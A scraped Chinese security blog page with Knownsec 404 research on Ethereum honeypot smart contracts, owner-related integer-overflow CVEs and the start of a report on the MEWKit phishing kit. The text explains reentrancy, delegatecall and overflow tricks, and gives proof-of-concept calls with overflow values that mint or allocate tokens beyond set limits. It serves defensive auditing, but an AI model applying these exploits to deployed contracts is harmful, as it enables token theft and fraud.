    联系电话:(086) 136 8133 5016(沈经理,工作日:10:00-18:00)

    欢迎扫码咨询:

    参考

    [1] https://baike.baidu.com/item/%E4%BB%A5%E5%A4%AA%E5%9D%8A/20865117?fr=aladdin
    [2] https://azure.microsoft.com/en-us/
    [3] https://github.com/ethereum/web3.js/
    [4] https://github.com/ethereum/go-ethereum/wiki/Management-APIs
    [5] https://paper.seebug.org/547/
    [6] https://mp.weixin.qq.com/s/Kk2lsoQ1679Gda56Ec-zJg
    [7] https://www.zoomeye.org/searchResult?q=%22Blockchain%20Admin%22

     

     

    本文由 Seebug Paper 发布,如需转载请注明来源。本文地址:https://paper.seebug.org/638/

    作者:Nanako | Categories:安全研究技术分享 | Tags:
  • 以太坊蜜罐智能合约分析

    2018-08-28

    作者:dawu&0x7F@知道创宇404区块链安全研究团队
    时间:2018/06/26

    0x00 前言

    在学习区块链相关知识的过程中,拜读过一篇很好的文章《The phenomenon of smart contract honeypots》,作者详细分析了他遇到的三种蜜罐智能合约,并将相关智能合约整理收集到Github项目smart-contract-honeypots

    本文将对文中和评论中提到的 smart-contract-honeypotsSolidlity-Vulnerable 项目中的各蜜罐智能合约进行分析,根据分析结果将蜜罐智能合约的欺骗手段分为以下四个方面:

    • 古老的欺骗手段
    • 神奇的逻辑漏洞
    • 新颖的赌博游戏
    • 黑客的漏洞利用

    基于已知的欺骗手段,我们通过内部的以太坊智能合约审计系统一共寻找到 118 个蜜罐智能合约地址,一共骗取了 34.7152916 个以太币(2018/06/26 价值 102946 元人民币),详情请移步文末附录部分。

    0x01 古老的欺骗手段

    对于该类蜜罐合约来说,仅仅使用最原始的欺骗手法。
    这种手法是拙劣的,但也有着一定的诱导性。

    1.1 超长空格的欺骗:WhaleGiveaway1

    github 上看到的合约代码如下:

    细读代码会发现 GetFreebie() 的条件很容易被满足:

    只要转账金额大于 1 ether,就可以取走该智能合约里所有的以太币。

    但事实绝非如此,让我们做出错误判断的原因在于 github 在显示超长行时不会自动换行。下图是设置了自动换行的本地编辑器截图:

    图中第 21 行和第 29 行就是蜜罐作者通过 超长空格 隐藏起来的代码。所以实际的 脆弱点 是这样的:

    先将账户余额转给合约的创立者,然后再将剩余的账户余额(也就是0)转给转账的用户(受害者)

    与之类似的智能合约还有 TestToken,留待有兴趣的读者继续分析:

    0x02 神奇的逻辑漏洞

    该类蜜罐合约用 2012年春晚小品《天网恢恢》中这么一段来表现最为合适:

    送餐员: 外卖一共30元
    骗子B: 没零的,100!
    送餐员: 行,我找你......70!(送餐员掏出70给骗子B)
    骗子A: 哎,等会儿等会儿,我这有零的,30是吧,把那100给我吧!给,30!(骗子A拿走了B给送餐员的100元,又给了送餐员30元)
    送餐员: 30元正好,再见!

    该类漏洞也是如此,在看起来正常的逻辑下,总藏着这样那样的陷阱。

    2.1 天上掉下的馅饼:Gift_1_ETH

    整个智能合约的逻辑很简单,三个关键函数功能如下:

    • SetPass(): 在转账大于 1 ether 并且 passHasBeenSetfalse (默认值就是false),就可以设置密码 hashPass
    • GetGift(): 在输入的密码加密后与 hashPass 相等的情况下,就可以取走合约里所有的以太币。
    • PassHasBeenSet():如果输入的 hashhashPass 相等,则 passHasBeenSet 将会被设置成 true

    如果我们想取走合约里所有的以太币,只需要按照如下流程进行操作:

    推特用户 Alexey Pertsev 还为此写了一个获取礼物的 EXP

    但实际场景中,受害者转入一个以太币后并没有获取到整个智能合约的余额,这是为什么呢?

    这是因为在合约创立之后,任何人都可以对合约进行操作,包括合约的创建者:

    合约创建者在合约 被攻击 前,设置一个只有创建者知道的密码并将 passHasBeenSet 置为 True,将只有合约创建者可以取出智能合约中的以太币。

    与之类似的智能合约还有 NEW_YEARS_GIFT

    2.2 合约永远比你有钱:MultiplicatorX3

    对于 multiplicate() 而言,只要你转账的金额大于账户余额,就可以把 账户余额你本次转账的金额 都转给一个可控的地址。

    在这里我们需要知道:在调用 multiplicate() 时,账户余额 = 之前的账户余额 + 本次转账的金额。所以 msg.value >= this.balance 只有在原余额为0,转账数量为0的时候才会成立。也就意味着,账户余额永远不会比转账金额小。

    与之类似的智能合约还有 PINCODE

    2.3 谁是合约主人:TestBank

    根据关键代码的内容,如果我们可以通过 useEmergencyCode() 中的判断,那就可以将 owner 设置为我们的地址,然后通过 withdraw() 函数就可以取出合约中的以太币。

    如果你也有了上述的分析,那么就需要学习一下 Solidity 中继承的相关知识参考链接5

    该部分引用自参考链接5
    重点:Solidity的继承原理是代码拷贝,因此换句话说,继承的写法总是能够写成一个单独的合约。
    情况五:子类父类有相同名字的变量。 父类A的test1操纵父类中的variable,子类B中的test2操纵子类中的variable,父类中的test2因为没被调用所以不存在。 解释:对EVM来说,每个storage variable都会有一个唯一标识的slot id。在下面的例子说,虽然都叫做variable,但是从bytecode角度来看,他们是由不同的slot id来确定的,因此也和变量叫什么没有关系。

    根据样例中的代码,我们将该合约的核心代码修改如下:

    变量 owner1 是父类 Owner 中的 owner 变量,而 owner2 是子类 TestBank 中的变量。useEmergencyCode()函数只会修改 owner2,而非 owner1,自然无法调用 withdraw()。 由于调用 useEmergencyCode() 时需要转作者设置的 evalue wei 的以太币,所以只会造成以太币白白丢失。

    0x03 新颖的赌博游戏

    区块链的去中心化给博彩行业带来了新的机遇,然而久赌必输这句话也不无道理。
    本章将会给介绍四个基于区块链的赌博游戏并分析庄家如何赢钱的。

    3.1 加密轮盘赌轮:CryptoRoulette

    该合约设置了一个 1-20 的随机数:secretNumber,玩家通过调用 play() 去尝试竞猜这个数字,如果猜对,就可以取走合约中所有的钱并重新设置随机数 secretNumber

    这里存在两层猫腻。第一层猫腻就出在这个 play()play() 需要满足两个条件才会运行:

    1. msg.value >= betPrice,也就是每次竞猜都需要发送至少 0.1 个以太币。
    2. number <= 10,竞猜的数字不能大于 10

    由于生成的随机数在 1-20 之间,而竞猜的数字不能大于 10, 那么如果随机数大于 10 呢?将不会有人能竞猜成功!所有被用于竞猜的以太币都会一直存储在智能合约中。最终合约拥有者可以通过 kill() 函数取出智能合约中所有的以太币。

    在实际的场景中,我们还遇到过生成的随机数在 1-10 之间,竞猜数字不能大于 10 的智能合约。这样的合约看似保证了正常的竞猜概率,但却依旧是蜜罐智能合约!这与前文说到的第二层猫腻有关。我们将会在下一节 3.2 开放地址彩票:OpenAddressLottery 中说到相关细节。有兴趣的读者可以读完 3.2节 后再回来重新分析一下该合约。

    3.2 开放地址彩票:OpenAddressLottery

    3.2.1 蜜罐智能合约分析

    OpenAddressLottery的逻辑很简单,每次竞猜,都会根据竞猜者的地址随机生成 0 或者 1,如果生成的值和 LuckyNumber 相等的话(LuckyNumber初始值为1),那么竞猜者将会获得 1.9 倍的奖金。

    对于安全研究人员来说,这个合约可能是这些蜜罐智能合约中价值最高的一个。在这里,我将会使用一个 demo 来说一说 Solidity 编译器的一个 bug:

    在运行 test() 之前,addrbcd的值如下图所示:

    在运行了 test() 之后,各值均被覆盖。

    这个 bug 已经被提交给官方,并将在 Solidity 0.5.0 中被修复。

    截止笔者发文,Solidity 0.5.0 依旧没有推出。这也就意味着,目前所有的智能合约都可能会受到该 bug 的影响。我们将会在 3.2.2节 中说一说这个 bug 可能的影响面。想了解蜜罐智能合约而非bug攻击面的读者可以跳过这一小节

    对于该蜜罐智能合约而言,当 forceReseed()被调用后,s.component4 = tx.gasprice * 7; 将会覆盖掉 LuckyNumber 的值,使之为 7。而用户生成的竞猜数字只会是 1 或者 0,这也就意味着用户将永远不可能赢得彩票。

    3.2.2 Solidity 0.4.x 结构体局部变量量引起的变量量覆盖

    3.2.1节中,介绍了OpenAddressLottery 智能合约使用未初始化的结构体局部变量直接覆盖智能合约中定义的前几个变量,从而达到修改变量值的目的。

    按照这种思路,特意构造某些参数的顺序,比如将智能合约的余额值放在首部,那么通过变量覆盖就可以修改余额值;除此之外,如果智能合约中常用的 owner 变量定义在首部,便可以造成权限提升。

    示例代码1如下(编译器选择最新的0.4.25-nightly.2018.6.22+commit.9b67bdb3.Emscripten.clang):

    如图所示,攻击者 0x583031d1113ad414f02576bd6afabfb302140225 在调用 fake_foo() 之后,成功将 owner 修改成自己。

    2.3节 中,介绍了 Solidity 的继承原理是代码拷贝。也就是最终都能写成一个单独的合约。这也就意味着,该 bug 也会影响到被继承的父类变量,示例代码2如下:

    相比于示例代码1示例代码2 更容易出现在现实生活中。由于 示例代码2 配合复杂的逻辑隐蔽性较高,更容易被不良合约发布者利用。比如利用这种特性留 后门

    参考链接10中,开发者认为由于某些原因,让编译器通过警告的方式通知用户更合适。所以在目前 0.4.x 版本中,编译器会通过警告的方式通知智能合约开发者;但这种存在安全隐患的代码是可以通过编译并部署的。

    solidity 开发者将在 0.5.0 版本将该类问题归于错误处理。

    3.3 山丘之王:KingOfTheHill

    这个合约的逻辑是:每次请求 fallback(),变量 jackopt 就是加上本次传入的金额。如果你传入的金额大于之前的 jackopt,那么 owner 就会变成你的地址。

    看到这个代码逻辑,你是否感觉和 2.2节2.3节 有一定类似呢?

    让我们先看第一个问题:msg.value > jackopt是否可以成立?答案是肯定的,由于 jackopt+=msg.valuemsg.value > jackopt 判断之后,所以不会出现 2.2节 合约永远比你钱多的情况。

    然而这个合约存在与 2.3节 同样的问题。在 msg.value > jackopt 的情况下,KingOfTheHill 中的 owner 被修改为发送者的地址,但 Owned 中的 owner 依旧是合约创建人的地址。这也就意味着取钱函数 takeAll() 将永远只有庄家才能调用,所有的账户余额都将会进入庄家的口袋。

    与之类似的智能合约还有 RichestTakeAll

    3.4 以太币竞争游戏:RACEFORETH

    这个智能合约有趣的地方在于它设置了最大转账上限是 50 finney,最小转账下限是 2 wei(条件是大于 1 wei,也就是最小 2 wei)。每次转账之后,最大转账上限都会缩小成原来的一半,当总转账数量大于等于 100 finney,那就可以取出庄家在初始化智能合约时放进的钱。

    假设我们转账了 x 次,那我们最多可以转的金额如下:

    根据高中的知识可以知道,该数字将会永远小于 100

    而智能合约中设置的赢取条件就是总转账数量大于等于 100 finney。这也就意味着,没有人可以达到赢取的条件!

    0x04 黑客的漏洞利用

    利用重入漏洞的The DAO事件直接导致了以太坊的硬分叉、利用整数溢出漏洞可能导致代币交易出现问题。
    DASP TOP10 中的前三: 重入漏洞、访问控制、算数问题在这些蜜罐智能合约中均有体现。黑客在这场欺诈者的游戏中扮演着不可或缺的角色。

    4.1 私人银行(重入漏洞):PrivateBank

    了解过 DAO 事件以及重入漏洞可以很明显地看出,CashOut() 存在重入漏洞。

    在了解重入漏洞之前,让我们先了解三个知识点:

    1. Solidity 的代码执行限制。为了防止以太坊网络被攻击或滥用,智能合约执行的每一步都需要消耗 gas,俗称燃料。如果燃料消耗完了但合约没有执行完成,合约状态会回滚。
    2. addr.call.value()(),通过 call() 的方式进行转账,会传递目前所有的 gas 进行调用。
    3. 回退函数fallback(): 回退函数将会在智能合约的 call 中被调用。

    如果我们调用合约中的 CashOut(),关键代码的调用过程如下图:

    由于回退函数可控,如果我们在回退函数中再次调用 CashOut(), 由于满足 _am<=balances[msg.sender] ,将会再次转账,因此不断循环,直至 合约中以太币被转完或 gas 消耗完。

    根据上述分析写出攻击的代码如下:

    模拟的攻击步骤如下:

    1. 正常用户A(地址:0x14723a09acff6d2a60dcdf7aa4aff308fddc160c)向该合约存入 50 ether
    1. 恶意攻击者 B(地址:0x583031d1113ad414f02576bd6afabfb302140225)新建恶意智能合约Attack,实施攻击。不仅取出了自己存入的 10 ether,还取出了 A 存入的 50 ether。用户 A 的余额还是50 ether,而恶意攻击者 B 的余额也因为发生溢出变成 115792089237316195423570985008687907853269984665640564039407584007913129639936

    虽然此时用户A的余额仍然存在,但由于合约中已经没有以太币了,所以A将无法取出其存入的50个以太币

    根据以上的案例可以得出如下结论:当普通用户将以太币存取该蜜罐智能合约地址,他的代币将会被恶意攻击者通过重入攻击取出,虽然他依旧能查到在该智能合约中存入的代币数量,但将无法取出相应的代币。

    4.2 偷梁换柱的地址(访问控制):firstTest

    逻辑看起去很简单,只要在调用 withdrawal() 时发送超过 1 ether,该合约就会把余额全部转给发送者。至于通过 delegatecall() 调用的 logEvent(),谁在意呢?

    DASP TOP10 的漏洞中,排名第二的就是访问控制漏洞,其中就说到 delegatecall()

    delegatecall()call() 功能类似,区别仅在于 delegatecall() 仅使用给定地址的代码,其它信息则使用当前合约(如存储,余额等等)。这也就意味着调用的 logEvent() 也可以修改该合约中的参数,包括 adr

    举个例子,在第一个合约中,我们定义了一个变量 adr,在第二个合约中通过 delegatecall() 调用第一个合约中的 logEvent()。第二个合约中的第一个变量就变成了 0x1111。这也就意味着攻击者完全有能力在 logEvent() 里面修改 adr 的值。

    为了验证我们的猜测,使用 evmdis 逆向 0x25df6e3da49f41ef5b99e139c87abc12c3583d13 地址处的 opcodelogEvent() 处的关键逻辑如下:

    翻译成 Solidity 的伪代码大致是:

    这也就意味着,在调用蜜罐智能合约 firstTest 中的 withdrawal() 时,emails.delegatecall(bytes4(sha3("logEvent()"))); 将会判断第一个变量 Owner 是否是 0x46FEEB381E90F7E30635B4F33CE3F6FA8EA6ED9B,如果相等,就把 adr 设置为当前合约的地址。最终将会将该合约中的余额转给当前合约而非消息的发送者。adr 参数被偷梁换柱!

    4.3 仅仅是测试?(整数溢出):For_Test

    在说逻辑之前,我们需要明白两个概念:

    1. msg.value 的单位是 wei。举个例子,当我们转 1 ether 时,msg.value = 1000000000000000000 (wei)
    2. 当我们使用 var i时,i 的数据类型将是 uint8,这个可以在 Solidity 官方手册上找到。

    如同官方文档所说,当 i = 255 后,执行 i++,将会发生整数溢出,i 的值重新变成 0,这样循环将不会结束。

    根据这个智能合约的内容,只要转超过 0.1 ether 并调用 Test() ,将会进入循环最终得到 amountToTransfer 的值,并将 amountToTransfer wei 发送给访问者。在不考虑整数溢出的情况下,amountToTransfer 将会是 msg.value * 2。这也是这个蜜罐合约吸引人的地方。

    正是由于 for 循环中的 i 存在整数溢出,在 i=255 执行 i++ 后, i = 0 导致 multi = 0 < amountToTransfer,提前终止了循环。

    细细算来,转账至少了 0.1 ether(100000000000000000 wei) 的以太币,该智能合约转回 510 wei 以太币。损失巨大。

    与之类似的智能合约还有 Test1

    4.4 股息分配(老版本编译器漏洞):DividendDistributor

    该智能合约大致有存钱、计算利息、取钱等操作。在最开始的分析中,笔者并未在整个合约中找到任何存在漏洞、不正常的地方,使用 Remix 模拟也没有出现任何问题,一度怀疑该合约是否真的是蜜罐。直到打开了智能合约地址对应的页面:

    Solidity 0.4.12 之前,存在一个bug,如果空字符串 "" 用作函数调用的参数,则编码器会跳过它。

    举例:当我们调用了 send(from,to,"",amount), 经过编译器处理后的调用则是 send(from,to,amount)。 编写测试代码如下:

    Remix 中将编译器版本修改为 0.4.11+commit.68ef5810.Emscripten.clang后,执行 divest() 函数结果如下:

    在这个智能合约中也是如此。当我们需要调用 divest() 取出我们存进去的钱,最终将会调用 this.loggedTransfer(amount, "", msg.sender, owner);

    因为编译器的 bug,最终调用的是 this.loggedTransfer(amount, msg.sender, owner);,具体的转账函数处就是 owner.call.value(amount) 。成功的将原本要转给 msg.sender()的以太币转给 合约的拥有者。合约拥有者成功盗币!

    0x05 后记

    在分析过程中,我愈发认识到这些蜜罐智能合约与原始的蜜罐概念是有一定差别的。相较于蜜罐是诱导攻击者进行攻击,智能合约蜜罐的目的变成了诱导别人转账到合约地址。在欺骗手法上,也有了更多的方式,部分方式具有强烈的参考价值,值得学习。

    这些蜜罐智能合约的目的性更强,显著区别与普通的 钓鱼 行为。相较于钓鱼行为面向大众,蜜罐智能合约主要面向的是 智能合约开发者智能合约代码审计人员拥有一定技术背景的黑客。因为蜜罐智能合约门槛更高,需要能够看懂智能合约才可能会上当,非常有针对性,所以使用 蜜罐 这个词,我认为是非常贴切的。

    这也对 智能合约代码审计人员 提出了更高的要求,不能只看懂代码,要了解代码潜在的逻辑和威胁、了解外部可能的影响面(例如编辑器 bug 等),才能知其然也知其所以然。

    对于 智能合约代码开发者 来说,先知攻 才能在代码写出前就拥有一定的警惕心理,从源头上减少存在漏洞的代码。

    目前智能合约正处于新生阶段,流行的 solidity 语言也还没有发布正式 1.0 版本,很多语⾔的特性还需要发掘和完善;同时,区块链的相关业务也暂时没有出现完善的流水线操作。正因如此,在当前这个阶段智能合约代码审计更是相当的重要,合约的部署一定要经过严格的代码审计。

    最后感谢 404实验室 的每一位小伙伴,分析过程中的无数次沟通交流,让这篇文章羽翼渐丰。


    针对目前主流的以太坊应用,知道创宇提供专业权威的智能合约审计服务,规避因合约安全问题导致的财产损失,为各类以太坊应用安全保驾护航。

    知道创宇404智能合约安全审计团队: https://www.scanv.com/lca/index.html
    联系电话:(086) 136 8133 5016(沈经理,工作日:10:00-18:00)

    欢迎扫码咨询:

    0x06 参考链接

    1. Github smart-contract-honeypots
    2. Github Solidlity-Vulnerable
    3. The phenomenon of smart contract honeypots
    4. Solidity 中文手册
    5. Solidity原理(一):继承(Inheritance)
    6. 区块链安全 - DAO攻击事件解析
    7. 以太坊智能合约安全入门了解一下
    8. Exposing Ethereum Honeypots
    9. Solidity Bug Info
    10. Uninitialised storage references should not be allowed

    0x07 附录:已知蜜罐智能合约地址以及交易情况

    基于已知的欺骗手段,我们通过内部的以太坊智能合约审计系统一共寻找到 118 个蜜罐智能合约地址,具体结果如下:

    下载地址:下载

    本文由 Seebug Paper 发布,如需转载请注明来源。本文地址:https://paper.seebug.org/631/

    作者:Nanako | Categories:安全研究技术分享 | Tags:
  • 以太坊智能合约 Owner 相关 CVE 漏洞分析

    2018-08-28

    作者:Hcamael@知道创宇404区块链安全研究团队

    背景

    最近学习了下以太坊的智能合约,而且也看到挺多厂家pr智能合约相关的漏洞,其中《ERC20智能合约整数溢出系列漏洞披露》文章中披露了6个CVE编号的漏洞,而这些漏洞都属于整型溢出漏洞范畴,其中5个漏洞均需要合约Owner才能触发利用。本文正是针对这些漏洞从合约代码及触发逻辑上做了详细分析,并提出了一些关于owner相关漏洞的思考。

    漏洞分析

    1. CVE-2018-11809

    该漏洞被称为“超额购币”,相关合约(EthLendToken)源码: https://etherscan.io/address/0x80fB784B7eD66730e8b1DBd9820aFD29931aab03#code

    在合约代码中,buyTokensPresalebuyTokensICO两个函数都是存在整型上溢出的情况:

    溢出点:

    buyTokensPresale函数举例,在理论上presaleSoldTokens + newTokens存在整型上溢出漏洞,会导致绕过require判断,造成超额购币。

    接下来,我们再仔细分析一下,如果造成整型上溢出,先来看看presaleSoldTokens变量的最大值

    该合约代码中,presaleSoldTokens变量相关的代码只有这三行,因为存在着require判断,所以不论presaleSoldTokens + newTokens是否溢出,presaleSoldTokens <= PRESALE_TOKEN_SUPPLY_LIMIT恒成立,因为有着断言代码:

    所以,presaleSoldTokens <= 60000000 * (1 ether / 1 wei),其中1 ether / 1 wei = 1000000000000000000,所以max(presaleSoldTokens) == 6*(10^25)

    再来看看变量newTokens,该变量的值取决于用户输出,是用户可控变量,相关代码如下:

    如果我们向buyTokensPresale函数转账1 ether, newTokens的值为1000000000000000000*30000=3*(10^22)

    下面来计算一下,需要向该函数转账多少以太币,才能造成溢出

    在以太坊智能合约中,uint默认代表的是uint256,取值范围是0~2^256-1,所以,需要newTokens的值大于(2^256-1)-presaleSoldTokens

    最后计算出,我们需要向buyTokensPresale函数转账:

    才可以造成整型上溢出,超额购币,整个以太坊公链,发展至今,以太币总余额有达到这个数吗?

    虽然理论上该合约的确存在漏洞,但是实际却无法利用该漏洞

    2. CVE-2018-11810

    该类漏洞被称为:“超额定向分配”

    相关事例( LGO )源码:https://etherscan.io/address/0x123ab195dd38b1b40510d467a6a359b201af056f#code

    根据该漏洞的描述:

    管理员绕过合约中规定的单地址发币上限,给指定地址分配超额的token

    跟上一个漏洞相比,因为该漏洞存在于onlyOwner的函数中,只能Owner(管理员)才能调用该漏洞,所以我认为该类漏洞可以算做是“后门“类漏洞。

    所以该类漏洞的利用有两个思路:

    1. Owner留下来的“后门”,供自己使用,专门用来坑合约的其他使用者(所谓的”蜜罐合约“,就是这种情况)
    2. 该合约有其他漏洞,能让自己成为Owener,或者可以说,结合提权漏洞进行利用

    首先,我们先假设自己就是Owner,来研究该漏洞的利用流程,以下是存在漏洞的函数:

    该合约相当于一个代币分配的协议,Owner可以随意给人分配代币,但是不能超过如下的限制:

    代币的总额: uint256 constant INITIAL_AMOUNT = 100 * onePercent; 给顾问5%: uint256 constant ADVISORS_AMOUNT = 5 * onePercent; 创始人要15%: uint256 constant FOUNDERS_AMOUNT = 15 * onePercent; 销售出了60%: uint256 constant HOLDERS_AMOUNT = 60 * onePercent; 保留了20%: uint256 constant RESERVE_AMOUNT = 20 * onePercent;

    对应到下面三个判断:

    跟上一个CVE一样,该漏洞本质上也是整型上溢出,但是上一个漏洞,用户可控的变量来至于向合约转账的以太币的数值,所以在实际情况中,基本不可能利用。但是在该漏洞中,用户可控的变量_amount,是由用户任意输入,使得该漏洞得以实现

    下面,利用漏洞给顾问分配超过5%的代币:

    1. 给顾问A分配2*onePercent数量的代币:allocte("0xbd08e0cddec097db7901ea819a3d1fd9de8951a2", 362830104000000, 0)

    1. 给顾问B分配一个巨大数量的代币,导致溢出:allocte("0x63ac545c991243fa18aec41d4f6f598e555015dc", 115792089237316195423570985008687907853269984665640564039457583645083025639937, 0)
    2. 查看顾问B的代币数:balanceOf("0x63ac545c991243fa18aec41d4f6f598e555015dc") => 115792089237316195423570985008687907853269984665640564039457583645083025639937

    经过后续的审计,发现该合约代码中的own变量只能由Owner修改,所以该漏洞只能被Owner利用

    3. CVE-2018-11809

    该漏洞被称为:”超额铸币“,但实际和之前的漏洞没啥区别

    含有该漏洞的合约Playkey (PKT)源码:https://etherscan.io/address/0x2604fa406be957e542beb89e6754fcde6815e83f#code

    存在漏洞的函数:

    比上一个漏洞的代码还更简单,只有ico(相当于之前的owner)能执行该函数,阅读全篇代码,ico是在合约部署的时候由创建人设置的,后续无法更改,所以该漏洞只能被ico(owner)利用

    该合约本身的意图是,ico能随意给人分配代币,但是发行代币的总额度不能超过tokenLimit,但是通过整型上溢出漏洞,能让ico发行无限个代币,利用流程如下:

    1. 部署合约,设置ico为自己账户地址,设置发行代币的上限为100000: PTK("0x8a0b358029b81a52487acfc776fecca3ce2fbf4b", 100000)

    1. 给账户A分配一定额度的代币: mint("0xbd08e0cddec097db7901ea819a3d1fd9de8951a2", 50000)

    1. 利用整型上溢出给账户B分配大量的代币: mint("0x63ac545c991243fa18aec41d4f6f598e555015dc", 115792089237316195423570985008687907853269984665640564039457584007913129589938)
    2. 查看账户B的余额: balanceOf("0x63ac545c991243fa18aec41d4f6f598e555015dc") => 115792089237316195423570985008687907853269984665640564039457584007913129589938

    4. CVE-2018-11812

    该漏洞被称为:“随意铸币”

    相关漏洞合约 Polymath (POLY)源码:https://etherscan.io/address/0x9992ec3cf6a55b00978cddf2b27bc6882d88d1ec#code

    具有漏洞的函数:

    这个漏洞很简单,也很好理解,Owner可以随意增加任意账户的代币余额,可以想象成,银行不仅能随心所欲的印钞票,还能随心所以的扣你的钱

    因为Owner是在合约部署的时候被设置成合约部署者的账户地址,之后也只有Owner能修改Own账户地址,所以该漏洞只能被Owner利用

    这个我觉得与其说是漏洞,不如说是Owner留下的“后门”

    5. CVE-2018-11687

    该漏洞被称为:“下溢增持”

    相关漏洞合约Bitcoin Red (BTCR)源码:https://etherscan.io/address/0x6aac8cb9861e42bf8259f5abdc6ae3ae89909e11#code

    相关的漏洞函数:

    该合约限制了发行代币的上限: uint256 _totalSupply = 21000000 * 10**8;

    并且在合约部署的时候把能发行的合约都分配给了Owner: balances[owner] = 21000000 * 10**8;

    然后Owner可以把自己账户的代币,任意分配给其他账户,分配的代码就是上面的函数,给别人分配一定额度的代币时,自己减去相应额度的代币,保证该合约总代币数不变

    但是因为没有判断Owner的账户是否有足够的余额,所以导致了减法的整型下溢出,同样也存在整型上溢出,但是因为uint256的上限是2^256-1,但是利用过于繁琐,需要运行非常多次的balances[addresses[i]] += 2000 * 10**8;

    而减法的利用就很简单了,或者我们可以根本不考虑这个减法,Owner可以给任意账户分配2000 * 10**8倍数的代币,该漏洞的功能和上一个漏洞的基本一致,可以任意发行代币或者减少其他账户的代币数

    因为Owner是在合约部署的时候被设置为部署合约人的账户地址,后续没有修改own的功能,所以该漏洞也只有Owner可以利用

    6. CVE-2018-11811

    该漏洞被称为:“高卖低收”

    相关漏洞合约 Internet Node Token (INT)源码:https://etherscan.io/address/0x0b76544f6c413a555f309bf76260d1e02377c02a

    在该CVE的描述中,存在漏洞的函数是:

    并且描述的漏洞原理是:

    sellPrice被修改为精心构造的大数后,可导致amount * sellPrice的结果大于整数变量(uint256)最大值,发生整数溢出,从而变为一个极小值甚至归零`

    相关函数如下:

    该漏洞的利用流程如下:

    1. 管理员设置buyPrice = 1 ether, sellPrice = 2^255
    2. 用户A买了两个以太币价格的代币: buy({value:toWei(2)})
    3. 用户A卖掉两个代币: send(2)
    4. 用户A将会收到2*sellPrice = 2^256价格的Wei
    5. 但是因为transfer的参数是uint256, 所以发生了溢出,用户A实际得到0Wei

    表面上看这个漏洞还是有危害的,但是我们仔细想想,这个漏洞其实是比较多余的,我们可以使用更简单的步骤达到相同的目的:

    1. 管理员设置buyPrice = 1 ether, sellPrice = 0
    2. 用户A买了两个以太币价格的代币: buy({value:toWei(2)})
    3. 用户A卖掉两个代币: send(2)
    4. 用户A将会收到2*sellPrice = 0价格的Wei

    我认为该合约最大的问题在于Owner可以随意设置代币的买入和卖出价格。

    顺带提一下这个问题也是前面peckshield公布的“tradeTrap”漏洞(https://peckshield.com/2018/06/11/tradeTrap/)提到的“Security Issue 2: Manipulatable Prices and Unfair Arbitrage” 是同一个问题。

    总结

    经过上面的分析,在这6个CVE中,虽然都是整型溢出,但第一个CVE属于理论存在,但实际不可实现的整型上溢出漏洞,剩下5个CVE都属于对管理者有利,会损害用户利用的漏洞,或者可以称为“后门”,也正是这个原因也导致了一些关于需要Owner触发漏洞意义讨论[2]

    如果我们把智能合约类比为传统合同,智能合约代码就是传统合同的内容,但是和传统的合同相比,智能合约拥有三个利益团体,一个是编写合约代码的人(智能合约中的Owner,或者我们可以称为甲方),使用该合约的其他人(我们可以称为乙方),跟该智能合约无关的其他人(比如利用合约漏洞获利的黑客)。从这个角度来看Owner条件下触发的漏洞在理论上是可以损害到乙方的利益,如对于存在“恶意”的owner或者黑客配合其他漏洞获取到owner权限的场景上来说,还是有一定意义的。

    另外从整个上市交易流程来看,我们还需要关注到“交易所”这个环节,交易所的风控体系在某种程度上可以限制这种“恶意”的owner或黑客利用。

    由此可见合约审计对于“甲方”、“乙方”、交易所都有重要的意义。

    知道创宇智能合约安全审计:http://www.scanv.com/lca/index.html

    欢迎扫码咨询:

    参考链接

    1. https://paper.seebug.org/626/
    2. https://mp.weixin.qq.com/s/6PKWXJXAKVCu5bJYlKy2Aw
    作者:Nanako | Categories:安全科普技术分享 | Tags:
  • MEWKit: Cryptotheft 的最新武器

    2018-08-28

    译者:知道创宇安全服务团队、404区块链安全团队
    [PDF版本下载]

    介绍

    当谈到加密货币时,会联想到加密货币巨大的价格波动,交易违约、赎金勒索的情况以及许多不同种类的货币。虚拟货币自兴起以来,就一直受到罪犯无情地攻击,许多人都希望能从中获取利益。在此威胁报告中,我们将重点关注Ethereum,也称为“以太”,以及它与名为MyEtherWallet(MEW)的在线服务的关系,该服务是网络钓鱼自动传输系统(ATS)MEWKit的目标。

    MEWkit的突出之处在于它远不止传统的网络钓鱼套件那样,除了是一个以窃取凭证为目的的模仿MyEtherWallet前端的网站以外,它也是一个客户端 ,可以处理钓鱼页面捕获的付款细节以转出资金,将资金从钓鱼受害者以太坊钱包直接寄给攻击者控制的钱包。

    本报告详细阐述了MEWKit功能,背景以及过去和现在的一系列行为活动,并对2018年4月24日发生的一件重大事件作一些说明。那就是在亚马逊DNS服务器上执行边界网关协议(BGP)劫持攻击,将用户从官方的MyEtherWallet网站重新路由到运行MEWKit的主机。

    理解犯罪:理解目标

    MyEtherWallet不像其他加密货币交易所和交易平台,它没有内部账户。一个典型的交易所像银行一样运作 ,用户通过创建一个账户来实现资金转入和转出。 通过这种方式,交易所就有了添加了增加了额外安全措施的用户钱包的关键词。 这些银行和交易所也能够执行分析以查看什么设备正在用于登录,并知道从那里登录。

    另一方面,MyEtherWallet取消了用户拥有账户的中间步骤,并为用户提供了一个钱包允许他们直接与以太坊网络进行互动。 这种访问使MyEtherWallet变得非常透明,但没有大多数银行和交易所的附加安全层面也造成一些重大风险问题,并使其成为攻击的主要目标。

    一旦MEWKit受害者认为他们正在与官方互动,钓鱼攻击就成功了。MyEtherWallet网站的资金可直接转给攻击者。 因此,我们说MEWKit是专门为MyEtherWallet制作的网络钓鱼ATS。

    MEWKit 技术分析

    MEWKit由两部分组成:一个模仿MyEtherWallet站点的钓鱼页面和一个处理日志的服务器端,攻击者一旦进行网络钓鱼就会将受害者的钱包里面的资金转移至攻击者指定的地点。 典型的钓鱼网页通常会重定向到网站的合法版本,这样受害者可以再次登录,MEWKit只是通过受害者的浏览器,使用MyEtherWallet对以太坊的独特访问权限,在后台进行交易。

    MEWKit被其开发者称为自动传输系统,因为它捕捉到的任何钓鱼信息都会立即用于从受害者的钱包中转移资金。ATS恶意软件运营的概念来源于它的恶意软件操作,它将脚本注入金融网站上的活动网络会话中,以便将资金从受害者账户中转出,并在被感染的电脑上利用受害者登陆的账户在短时间内无形地自动完成转帐。

    一旦用户登录,MEWKit就会检查他们的钱包余额并从服务器端请求接收者地址。然后将攻击者的拥有的钱包设置为接收者地址,利用正常的MyEtherWallet功能转移受害者的全部余额。

    MEWKit 钓鱼页面

